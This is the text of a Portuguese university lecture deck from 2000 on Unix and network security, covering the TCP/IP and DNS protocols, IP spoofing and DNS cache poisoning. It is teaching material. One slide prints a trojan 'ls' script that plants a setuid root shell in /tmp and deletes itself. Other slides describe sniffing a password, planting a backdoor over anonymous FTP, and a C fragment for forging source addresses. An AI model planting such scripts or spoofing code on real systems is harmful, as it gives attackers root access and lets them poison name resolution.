1 Segurança em Sites Internet Prof. M. Sc. Claudio Monteiro Universidade Luterana do Brasil - ULBRA Centro Universitário Luterano de Palmas - CEULP Curso de Bacharelado em Sistemas de Informação *** Grupo de Pesquisa Aplicada em Redes de Computadores - GPARC*** CEULP/FURB 2000 2 Nosso Menu 1 - Introdução 2 - Motivação 3 - UNIX: O Sistema Operacional 4 - Conectividade: Uma grande necessidade 5 - Segurança: A grande meta 6 - TCP/IP: O grande vilão? 7 - Considerações sobre os Protocolos IP e UDP 8 - Demonstrações: Um estudo de casos CEULP/FURB 2000 3 1 - Introdução CEULP/FURB 2000 4 2 - Motivação Serviço de Nomes História DNS DNS - Domain Name System CEULP/FURB 2000 5 Unix: O Sistema Operacional Multitarefa Multiusuário Autenticação no nível de usuário CEULP/FURB 2000 6 Unix: O Sistema Operacional Controle de Permissões por Arquivos Administração por Usuários e Grupos CEULP/FURB 2000 7 Unix: O Sistema Operacional • SETUID e SETGID: Arquivos que executam com privilégios especiais. Todo cuidado é pouco com a “Engenharia Social”. • Shell: Uma grande vantagem... se bem usada!!! CEULP/FURB 2000 8 Unix: O Sistema Operacional % cat ls #!/bin/sh (/bin/cp /bin/sh /tmp/.secret /etc/chown root /tmp/.secret /bin/chmod 4555 /tmp/.secret) 2>/dev/null rm –f $0 exec /bin/ls “$@” % Situação: Usuário cria esse arquivo shell e o chama de “ls” (comando básico do Unix). Cria uma arquivo qualquer e pede ao administrador do sistema para apagá-lo... Como o Adm não desconfia, ele loga e executa o “ls” feito pelo usuário. Sequência de Comandos Shell que podem dar séries dores de cabeça em administradores de sistemas Unix CEULP/FURB 2000 9 Unix: O Sistema Operacional PATH=.:/usr/bin:/bin:/usr/local/bin sh ou ksh set path= ( . /usr/bin /bin /usr/local/bin ) csh Exemplo da inicialização da variável PATH nos vários shells: sh, ksh e csh Observe que no exemplo acima o diretório “.” é o primeiro da lista de PATH... Isso garante que qualquer comando dado pelo usuário com esse path será procurado no diretório corrente primeiro... CEULP/FURB 2000 10 Conectividade: Uma grande necessidade Solicitação de conexão usando o protocolo de aplicação “telnet” a partir de uma maquina Windows Estabelecimento de conexão via “telnet” com uma máquina Unix CEULP/FURB 2000 11 Conectividade: Uma grande necessidade Exemplos de conexão usando o protocolo de aplicação http com a ajuda de um browser CEULP/FURB 2000 12 Conectividade: Uma grande necessidade Exemplo de uma conexão estabelecida (e esperando autenticação) entre uma máquina Windows e uma máquina Unix, via o protocolo de aplicação “ftp” Conexão “ftp” autenticada, mostrando a listagem dos arquivos localizados remotamente. CEULP/FURB 2000 13 Segurança: A Grande Meta Como ter uma REDE segura??? Temos que ter Sistemas Operacionais com implementações de protocolos confiáveis. Um bom caminho é possuir um bom meio de comunicação de dados. CEULP/FURB 2000 14 TCP/IP: O Vilão? O IP O UDP O TCP - Nível de Rede Nível de Transporte Nível de Transporte 10.0.0.0 128.10.0.0 10.0.0.37 192.5.48.0 R CEULP/FURB 2000 15 TCP/IP: O Vilão? Redes Interligadas Rede IP 200.241.0.0 Rede IP 200.241.85.0 Rede IP 200.241.86.0 G Rede IP 200.241.74.0 G Rede 1 Rede 2 Rede 3 G G G Rede 4 Rede IP 200.21.52.0 Rede 5 Rede IP 200.241.87.0 CEULP/FURB 2000 16 TCP/IP: O Vilão? O TCP e o Famoso “Aperto de Mão Triplo” Eventos do lado da estação 1 Mensagens na Rede Eventos do lado da estação 2 Envia SYN seq.x Recebe segmento SYN Recebe SYN e segmento ACK Envia SYN seq.y ACK x+1 Envia ACK y+1 Recebe segmento Slide 3 CEULP/FURB 2000 17 TCP/IP: O Vilão? Portas de Serviço e Sockets Abertura de socket TCP com a porta 25 Interação com o servidor na porta 25 CEULP/FURB 2000 18 Considerações sobre os protocolos IP E UDP Cada host na Internet é identificado de forma unívoca através do endereço IP atribuído na sua configuração. Os endereços IP's estão associados às interfaces de rede e não aos hosts que as contêm O protocolo IP defini o esquema de endereçamento desses hosts. CEULP/FURB 2000 19 Camada de Rede Mensagem Segmento Aplicação Transporte Datagrama IP Rede Bits e Quadro Física IP CEULP/FURB 2000 20 Datagrama IP 0 4 Vers 8 Hlen 16 Service Type Identification Time to Live 19 31 Total Length Flags Protocol 24 Fragment Offset Header Checksum Source IP Address Destination IP Address Options (if any) Padding Data ... CEULP/FURB 2000 21 Protocolo UDP (User Datagram Protocol) • Quando Utilizar o UDP? – Aplicações que implementam mecanismo de entrega confiável – Pequena quantidade de dados a transmitir CEULP/FURB 2000 22 Localização do Protocolo UDP na Arquitetura TCP/IP Mensagem Segmento Aplicação Transporte Datagrama IP Rede Bits e Quadro Física UDP CEULP/FURB 2000 23 Formato do datagrama UDP UDP (User Datagram Protocol) • Formato do Datagrama 0 16 31 Source Port Destination Port Length Checksum Data ... DNS PORT = 53 CEULP/FURB 2000 24 Nível de Aplicação Aplicação Aplicação Definição de portas SMTP FTP DNS NFS Port Transporte TCP UDP Protocol Rede IP Física Endereço IP Placa de Rede / Fax Modem CEULP/FURB 2000 25 Demonstrações Conexão TCP com a porta 110 da máquina “localhost” Aplicação desenvolvida segundo a API de sockets para Unix que explora uma vulnerabilidade na implementação do protocolo de aplicação POP CEULP/FURB 2000 26 Demonstrações Login feito pelo usuário redes Sniffer em ação, produzindo um log com a senha digitada pelo usuário redes na seção de login CEULP/FURB 2000 27 Demonstrações Conexão FTP feita com uma máquina Unix. Verifique que o login foi autenticado sem senha e que o diretório “incoming” possui permissões de escrita para qualquer usuário. Isso normalmente é usado por servidores que necessitam que seus próprios usuários mantenham seus repositórios atualizados. Isso permite que seja “plantada” uma aplicação no servidor, que possua características especiais para produzir uma Back Door CEULP/FURB 2000 28 Demonstrações Resultado: Visualização do arquivo de senhas do servidor CEULP/FURB 2000 Demonstrações 29 O Spoofing de IP Máquina 01 da Rede Local Firewall Máquina Atacante Máquina 02 da Rede Local CEULP/FURB 2000 30 Demonstrações: Serviços de Nomes A função principal dos serviços de nomes é traduzir nomes de domínio para os seus respectivos endereços IP’s. Servidor DNS www.cade.com = 35.35.2.80 www.oi.com = 10.10.10.1 www.cade.com www.oi.com www.av.com=50.75.96.8 www.ufg.br = 20.20.20.80 www.ufg.br www.av.com CEULP/FURB 2000 31 Demonstrações: Serviços de Nomes Nomes de domínios Os Nomes de Domínios são utilizados para facilitar a identificação da origem de uma determinada informação. Será que o site da Ulbra esta no endereço 200.167.132.241 ? Ou 200.162.132.235 ? Mané O site da ulbra esta no endereço: www.ulbra-to.br Joãozinho www.ulbra-to.br = 200.167.132.241 CEULP/FURB 2000 32 Demonstrações: Serviços de Nomes Processamento de Requisições www.ulbra-to.br = 150.161.6.11 dns.ola.com Cliente1.ola.com www.ulbra-to.br br NS fpsp.fapesp.br terp.umd.edu www.ulbra-to.br www.ulbra-to.br Name fpsp.fapesp.br Resolver Server 150.161.6.11 ulbra-to.br NS dns.ulbra-to.br www.ulbra-to.br cache dns.ulbra-to.br www.ulbra-to.br A 150.161.6.11 CEULP/FURB 2000 Pacote DNS 33 Demonstrações: Serviços de Nomes IP SPOOFING - Falsificação de Endereço IP O IP SPOOFING é um recurso utilizado para falsificar a origem do pacote. Consiste nas facilidades que o protocolo IP oferece no preenchimento de pacotes IP, de acordo com as necessidades de um atacante. Técnicas como DNS SPOOF, DOS e outras, simplesmente utilizam essa facilidade. CEULP/FURB 2000 34 Demonstrações: Serviços de Nomes De: Fulano da silva Rua Y Nº 21 LT 08 Para: Ciclano da Costa Ender. X Nº 8 LT 55 CEULP/FURB 2000 35 Demonstrações: Serviços de Nomes Implementação do IP SPOOFING ... struct iphdr *ip_header; ip_header->version ip_header->tot_len ... ip_header->daddr ... ip_header->saddr = 4; = htons(data_len); = ip_destino; = ip_origem; ... CEULP/FURB 2000 36 Demonstrações: Serviços de Nomes Falsificação de IP em Pacotes DNS - DNS SPOOF www.ulbra-to.br = 1.2.3.4 www.ulbra-to.br cliente1.ola.com www.ulbra-to.br terp.umd.edu Pacote br NS fpsp.fapesp.br Ignorado Name Server Resolver 1.2.3.4 cache Servidor DNS - dns.ola.com S.O. NT ou LINUX www.ulbra-to.br A 1.2.3.4 atacante.rold.com CEULP/FURB 2000 37 Demonstrações: Serviços de Nomes Implementação da Falsificação de IP em Pacotes DNS www.ulbra-to.br = 1.2.3.4 www.ulbra-to.br cliente1.ola.com www.ulbra-to.br terp.umd.edu Pacote br NS fpsp.fapesp.br Ignorado Name Server Resolver 1.2.3.4 cache dns.ola.com Captura a pergunta enviada por dns.ola.com SNIFF DNSspoof.c Rede Ethernet www.ulbra-to.br A 1.2.3.4 Cliente2.ola.com Invasor CEULP/FURB 2000 38 Demonstrações: Serviços de Nomes 7 - Conseqüências * Alterar a Origem da Informação * Driblar mecanismos de defesas baseados em wrappers Visualizando página Web indesejada www.ulbra-to.br cliente1.ola.com Name Server Resolver 1.2.3.4 cache 1.2.3.4 GET /index.html cliente1.ola.com Página Web Requisitada Servidor WEB 1.2.3.4 CEULP/FURB 2000 39 Conclusões Após a implementação de um programa que realiza a falsificação de endereços IP's em pacotes de respostas enviados para servidores DNS, realizamos vários experimentos, que nos permitiram concluir que servidores DNS configurados sob os sistemas operacionais Linux e WindowsNT se encontram vulneráveis, podendo ter seu cache poluído com uma resposta falsa. CEULP/FURB 2000 40 Estrutura de uma Mensagem Enviada por um Servidor DNS Cabeçalho Pergunta(s) Resposta(s) Autoridade(s) Adicional CEULP/FURB 2000 41 DNS packet header (Cabeçalho do Pacote DNS) 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 ID QR Opcode AA TC RD RA Z RCODE QDCOUNT ANCOUNT NSCOUNT ARCOUNT CEULP/FURB 2000 42 Seção de Pergunta do Pacote DNS 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 Nome a ser resolvido Tipo de Query Tipo de Classe CEULP/FURB 2000 43 Seção de Resposta do Pacote DNS 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 Nome a ser resolvido TIPO CLASSE TTL (Tempo de validade da resposta) Tamanho da Resposta Dados da Resposta Voltar CEULP/FURB 2000 44 6.1 - Conteúdo do Pacote DNS na Pergunta Enviada ID = 2005 QR = 0 AA = 0 TC = 0 RD = 1 RA = 0 OPCODE = 0 RCODE = 0 QDCOUNT = htons(1) ANCOUNT = 0 NSCOUNT = 0 ARCOUNT = 0 Seçao de Pergunta Nome a ser resolvido = [3|w|w|w|8|u|l|b|r|a|-|t|o|2|b|r|0] tipo de questão = htons(1) Tipo de query=htons(1) CEULP/FURB 2000 45 6.2 - Informações Necessárias para Montar o Pacote de Resposta * ID do cabeçalho DNS * Nome a ser resolvido da seção de pergunta * Endereço IP de destino * Porta de origem Voltar CEULP/FURB 2000 46 Encapsulamento de Dados Aplicação Data Transporte Header Rede Física Header Header Data Data Data CEULP/FURB 2000